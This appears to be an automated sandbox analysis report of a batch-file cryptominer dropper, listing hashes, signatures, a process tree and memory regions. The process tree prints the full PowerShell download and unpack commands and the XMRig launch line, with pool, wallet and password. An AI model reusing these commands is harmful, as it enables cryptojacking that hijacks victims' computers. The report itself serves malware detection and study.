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Analysis

  • max time kernel
    1793s
  • max time network
    1795s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 01:27

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4296
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4580

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    96ce672167c26c70e6d626c6accf2e2c

    SHA1

    b885903f58ff0621119f453e1183fc522b1cb2dd

    SHA256

    a76f8edc7a8e94e84cdb3efa03d76997576d952b539d9979711069dae58e3c2f

    SHA512

    c9a013a4b615a7a6c186584d3af1dd4f8534e4836a693188543cc6a0049103a9321e5c81af9a540dc4f7f75842132a711f4c8d4867690d50ba63b202c266386f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_irocuusa.0vk.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    92KB

    MD5

    f8e5dc7450ba26e6adde2402c5b1674c

    SHA1

    f15ba6270a7a7d57c7221507a8da9a4195ef7b25

    SHA256

    efad888560b5e44b746bc21f445b2805f855a50ebc166323149affe954410c3e

    SHA512

    8a35e0040b010328bdd0886690c42aa66de73655e0ae0f8ef86494a15a0e956571817fcfc2a4bd23237c72ea5ba83a1fe9e520aeb3d6421cfd5b50d3b5b09de7

  • memory/4296-40-0x0000028426480000-0x0000028426490000-memory.dmp

    Filesize

    64KB

  • memory/4296-39-0x0000028426480000-0x0000028426490000-memory.dmp

    Filesize

    64KB

  • memory/4296-115-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4296-78-0x00000284266F0000-0x0000028426702000-memory.dmp

    Filesize

    72KB

  • memory/4296-91-0x0000028426470000-0x000002842647A000-memory.dmp

    Filesize

    40KB

  • memory/4296-38-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4296-64-0x0000028426480000-0x0000028426490000-memory.dmp

    Filesize

    64KB

  • memory/4580-145-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-152-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-186-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-185-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-118-0x000001CEF0A90000-0x000001CEF0AB0000-memory.dmp

    Filesize

    128KB

  • memory/4580-184-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-119-0x000001CF84810000-0x000001CF84830000-memory.dmp

    Filesize

    128KB

  • memory/4580-120-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-123-0x000001CF84E80000-0x000001CF84EA0000-memory.dmp

    Filesize

    128KB

  • memory/4580-122-0x000001CF84C50000-0x000001CF84C70000-memory.dmp

    Filesize

    128KB

  • memory/4580-121-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-124-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-125-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-127-0x000001CF84E80000-0x000001CF84EA0000-memory.dmp

    Filesize

    128KB

  • memory/4580-126-0x000001CF84C50000-0x000001CF84C70000-memory.dmp

    Filesize

    128KB

  • memory/4580-128-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-129-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-130-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-131-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-132-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-133-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-134-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-135-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-136-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-137-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-138-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-139-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-140-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-141-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-142-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-143-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-144-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-183-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-146-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-147-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-148-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-149-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-150-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-151-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-182-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-153-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-154-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-155-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-156-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-157-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-158-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-159-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-160-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-161-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-162-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-163-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-164-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-165-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-166-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-167-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-168-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-169-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-170-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-171-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-172-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-173-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-174-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-175-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-176-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-177-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-178-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-179-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-180-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4580-181-0x00007FF6ED1D0000-0x00007FF6EDCD3000-memory.dmp

    Filesize

    11.0MB

  • memory/4700-10-0x000002B2B1260000-0x000002B2B12D6000-memory.dmp

    Filesize

    472KB

  • memory/4700-5-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4700-6-0x000002B2B1340000-0x000002B2B1350000-memory.dmp

    Filesize

    64KB

  • memory/4700-4-0x000002B2991A0000-0x000002B2991C2000-memory.dmp

    Filesize

    136KB

  • memory/4700-7-0x000002B2B1340000-0x000002B2B1350000-memory.dmp

    Filesize

    64KB

  • memory/4700-25-0x000002B2B1340000-0x000002B2B1350000-memory.dmp

    Filesize

    64KB

  • memory/4700-26-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB

  • memory/4700-27-0x000002B2B1340000-0x000002B2B1350000-memory.dmp

    Filesize

    64KB

  • memory/4700-32-0x00007FFF7FF70000-0x00007FFF8095C000-memory.dmp

    Filesize

    9.9MB